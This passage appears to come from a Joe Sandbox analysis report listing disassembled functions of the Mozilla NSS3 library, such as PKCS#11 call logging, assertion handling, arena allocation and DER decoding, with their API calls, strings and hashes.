Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE82D22

Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(?), ref: 6CF60B88
Part of subcall function 6CF609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF60C5D
Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF60C8D
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60C9C
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(?), ref: 6CF60CD1
Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF60CEC
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60CFB
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60D16
Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF60D26
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60D35
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF60D65
Part of subcall function 6CF609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF60D70
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60D90
Part of subcall function 6CF609D0: free.MOZGLUE(00000000), ref: 6CF60D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE82D3B

Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF60BAB
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60BBA
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CE82D54

Part of subcall function 6CF609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF60BCB
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60BDE
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(?), ref: 6CF60C16

Strings

ulPinLen = %d, xrefs: 6CE82D36
slotID = 0x%x, xrefs: 6CE82D02
pLabel = 0x%p, xrefs: 6CE82D4F
C_InitToken, xrefs: 6CE82CE7
pPin = 0x%p, xrefs: 6CE82D1D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 2703d4b6a31a0729510ec74823d035c231ad2240f1004816ddac29a5b9e2737d
Instruction ID: 0d6232121fbc8ef759f1063d409a72096fe86c80f86959b66f833f8b5cdd63f6
Opcode Fuzzy Hash: 2703d4b6a31a0729510ec74823d035c231ad2240f1004816ddac29a5b9e2737d
Instruction Fuzzy Hash: 5521F875A12144AFDB409F54DECCB453FB2EB4231DF248525E90C97BA2CB728809CB65

Function 6CF60EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE42357), ref: 6CF60EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE42357), ref: 6CF60EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF60EE6

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF60EFA

Part of subcall function 6CE4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F2B

Strings

Aborting, xrefs: 6CF60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF60ED9, 6CF60EE5, 6CF60F06, 6CF60F0B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 6bd6f4cfc4dafac21927d48083f532fe28d92771f34f778b3b104f1e075904fe
Instruction ID: bd2091f897c6ddf4cd4d7eb0e780207c87fb9174c21ba1d468400f0f8c2c92e8
Opcode Fuzzy Hash: 6bd6f4cfc4dafac21927d48083f532fe28d92771f34f778b3b104f1e075904fe
Instruction Fuzzy Hash: EEF0AFBAD00114BBEF403BA1EC4AE9F3E3DDF82664F004024FD1956B02DA77E91496B2

Function 6CEC4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEC4DCB

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEC4DE1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEC4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC4E59

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF8300C,00000000), ref: 6CEC4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEC4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEC4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC521A

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8987c5bcc441f95794b95b8c6b77de82b94867c49b68ed266a8900cba84cd60e
Instruction ID: b9ea17a6e72f81544e0957152f5df2bfccf6312c43c2593942baf2a713afd8c5
Opcode Fuzzy Hash: 8987c5bcc441f95794b95b8c6b77de82b94867c49b68ed266a8900cba84cd60e
Instruction Fuzzy Hash: D9F19B71F012098FDB08CF54D9407AEB7B2BF45318F35412AE825AB781E775E982CB92

Function 6CE54FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE5502A
PR_NewLock.NSS3(00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE55034
PL_NewHashTable.NSS3(00000000,6CEAFE80,6CEAFD30,6CEFC350,00000000,00000000,00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE55055
PL_NewHashTable.NSS3(00000000,6CEAFE80,6CEAFD30,6CEFC350,00000000,00000000,?,00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE5506D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 6b414493978ee6750b14f151d34f0c9099f11bb8327ab0cbb843a80b1ac50bea
Instruction ID: 1afc2588bc696fe86eb998c0e06001f612b8f88dfa0c11027cf6637e29ccb581
Opcode Fuzzy Hash: 6b414493978ee6750b14f151d34f0c9099f11bb8327ab0cbb843a80b1ac50bea
Instruction Fuzzy Hash: 4D3114B2F122109BEF508B65888CB5B3BBCDB1335CF624125EA0997740D3779415CBE4

Function 6CDF2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDF2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CDF2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CDF3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CDF30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDF3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF3178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF3022, 6CDF3156, 6CDF3162, 6CDF318A, 6CDF3196, 6CDF31A2, 6CDF31AE, 6CDF31BA, 6CDF31C6
database corruption, xrefs: 6CDF316C
%s at line %d of [%.10s], xrefs: 6CDF3171

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: df8792d94a3f90cd5f3c0ac91fef2964b32bab0d8c093d7b758a2f102401137d
Instruction ID: 3639911991be88d7c84e6c6dba81242bb565ff98124006af39317725dd7b014e
Opcode Fuzzy Hash: df8792d94a3f90cd5f3c0ac91fef2964b32bab0d8c093d7b758a2f102401137d
Instruction Fuzzy Hash: 1CB1B1B0E05219DBDB08CF9DC884AFEB7B1BF48304F16402AE865B7B51D7759942CBA1

Function 6CEC7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEC7FB2

Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BA51
Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BA6B
Part of subcall function 6CE4BA40: EnterCriticalSection.KERNEL32 ref: 6CE4BA83
Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BAA1
Part of subcall function 6CE4BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE4BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEC7FD4

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CEC9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEC9466

PR_ExitMonitor.NSS3(?), ref: 6CEC801B
PR_EnterMonitor.NSS3(?), ref: 6CEC8034
TlsGetValue.KERNEL32 ref: 6CEC80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC80C0
PR_ExitMonitor.NSS3(?), ref: 6CEC811C
PR_ExitMonitor.NSS3(?), ref: 6CEC8134

Strings

), xrefs: 6CEC80DB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 11eaad660b8834a55f93f30db71d5d04df0333fe440449847a4dfd2a25dcbf01
Instruction ID: c7441948e84f0cf7e6e078ed1d3f8cc8ab81a837139120d6d16e3e3e10383abd
Opcode Fuzzy Hash: 11eaad660b8834a55f93f30db71d5d04df0333fe440449847a4dfd2a25dcbf01
Instruction Fuzzy Hash: 57510372B047049AE7219F359F017EB77F0AF5230CF28452ED9A946B42EB31A609C793

Function 6CE6FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE6FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE6FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE6FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE6FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE6FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE6FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6FD84

Strings

:, xrefs: 6CE6FD78

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: cc6a83bda0be38415721d4b591496767cd30e7d0bdc6637e3d2a3e0b10e56a72
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: C531D1B2D902059BEB008AA6DC057AFB7B8AF4135CF250138DD14ABF00E779E908C7D2

Function 6CE86C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CE86C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE86C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE86CA3

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE86CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE86CD5

Strings

hSession = 0x%x, xrefs: 6CE86C7E, 6CE86C8E
C_DigestInit, xrefs: 6CE86C61
(CK_INVALID_HANDLE), xrefs: 6CE86C9C
pMechanism = 0x%p, xrefs: 6CE86CD0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 6bd50622c77be75be14b82df4c7cff127f5d3f045c8a9a9af7d11f1f9df3e7ab
Instruction ID: 941a18228dbd7e55b8b64eb7491cab105d14693f2613badba6c12aa87ca33f64
Opcode Fuzzy Hash: 6bd50622c77be75be14b82df4c7cff127f5d3f045c8a9a9af7d11f1f9df3e7ab
Instruction Fuzzy Hash: 8F212B70A121049BDB409B55DDC8B5A37B9EB4231CF154429E80DABB41DF319908C795

Function 6CE89DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6CE89DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE89E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89E33

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE89E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CE89E65

Strings

flags = 0x%x, xrefs: 6CE89E60
hSession = 0x%x, xrefs: 6CE89E0E, 6CE89E1E
(CK_INVALID_HANDLE), xrefs: 6CE89E2C
C_SessionCancel, xrefs: 6CE89DF1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 5e3ba62ed497f0a5b97f57cfd9318b0d8c98b7ebd4add85a0d206c47a2dc14fe
Instruction ID: 14d1a87dbcc9231fe17e4babf3de244b593afaa8f5bd9e9b6bb75b5c362b7402
Opcode Fuzzy Hash: 5e3ba62ed497f0a5b97f57cfd9318b0d8c98b7ebd4add85a0d206c47a2dc14fe
Instruction Fuzzy Hash: 31210771F12104AFD7409B55DDC8B6A3BB5EB4230DF154429E80DABB41DB319C48C7B6

Function 6CE50F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE50F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE50F84

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE6F59B,6CF7890C,?), ref: 6CE50FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE50FC1

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE50FDB
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE50FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE51001
PL_FinishArenaPool.NSS3(?), ref: 6CE51009

Strings

security, xrefs: 6CE50F5C

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: c769c2a70af29cb82310759cbdb03c4acb869f0d196612387ac07932a943acdf
Instruction ID: c44b211e135bd55d8790bfecdf2ff92ab59fde9fee449f2d39811eb336e7fc3b
Opcode Fuzzy Hash: c769c2a70af29cb82310759cbdb03c4acb869f0d196612387ac07932a943acdf
